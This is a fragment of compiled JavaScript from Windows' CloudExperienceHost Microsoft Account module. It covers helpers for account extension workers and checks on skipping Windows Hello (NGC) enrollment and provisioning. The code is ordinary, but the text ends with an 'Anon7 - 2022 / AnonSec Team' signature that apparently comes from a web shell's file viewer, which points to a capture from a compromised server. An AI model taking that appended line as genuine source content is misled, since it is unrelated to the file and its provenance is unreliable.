        function escapeUrlParam(value) {
            return encodeURIComponent(value).replace(/'/g, "%27");
        }
        function getMsaExtension() {
            return new MicrosoftAccount.Extension.ExtensionWorker();
        }
        function getMsaExtensionForUser() {
            return new MicrosoftAccount.Extension.ExtensionWorkerForUser();
        }
        function getBrokeredExtension() {
            return new MicrosoftAccount.UserOperations.Extension();
        }
        function getBrokeredExtensionForUser() {
            return new MicrosoftAccount.UserOperations.ExtensionForUser();
        }
        function getNgcBrokeredExtensionForUser() {
            if (_ngcBrokeredExtensionForUser === null) {
                _ngcBrokeredExtensionForUser = new MicrosoftAccount.UserOperations.ExtensionForUser();
            }
            return _ngcBrokeredExtensionForUser;
        }
        var ShouldSkipNGCEnroll;
        (function (ShouldSkipNGCEnroll) {
            function getShouldSkipAsync() {
                let extension = getMsaExtensionForUser();
                let user = null;
                if (IsMsaMuaEnabled()) {
                    user = CloudExperienceHost.IUserManager.getInstance().getIUser();
                }
                return extension.isNgcCreateContainerDisabledForUserAsync(user);
            }
            ShouldSkipNGCEnroll.getShouldSkipAsync = getShouldSkipAsync;
        })(ShouldSkipNGCEnroll = MSA.ShouldSkipNGCEnroll || (MSA.ShouldSkipNGCEnroll = {}));
        var ShouldSkipAadNgcProvisioning;
        (function (ShouldSkipAadNgcProvisioning) {
            function getShouldSkipAsync() {
                let extension = getMsaExtensionForUser();
                let user = null;
                if (IsMsaMuaEnabled()) {
                    user = CloudExperienceHost.IUserManager.getInstance().getIUser();
                }
                return extension.shouldSkipAadNgcProvisioningForUserAsync(user);
            }
            ShouldSkipAadNgcProvisioning.getShouldSkipAsync = getShouldSkipAsync;
        })(ShouldSkipAadNgcProvisioning = MSA.ShouldSkipAadNgcProvisioning || (MSA.ShouldSkipAadNgcProvisioning = {}));
        function IsMsaMuaEnabled() {
            return _isMsaMuaEnabled;
        }
        function IsProductControlsAutologonEnabled() {
            return _isProductControlsAutoLogonEnabled;
        }
    })(MSA = CloudExperienceHost.MSA || (CloudExperienceHost.MSA = {}));
})(CloudExperienceHost || (CloudExperienceHost = {}));
//# sourceMappingURL=microsoftaccount.js.map

Anon7 - 2022
AnonSec Team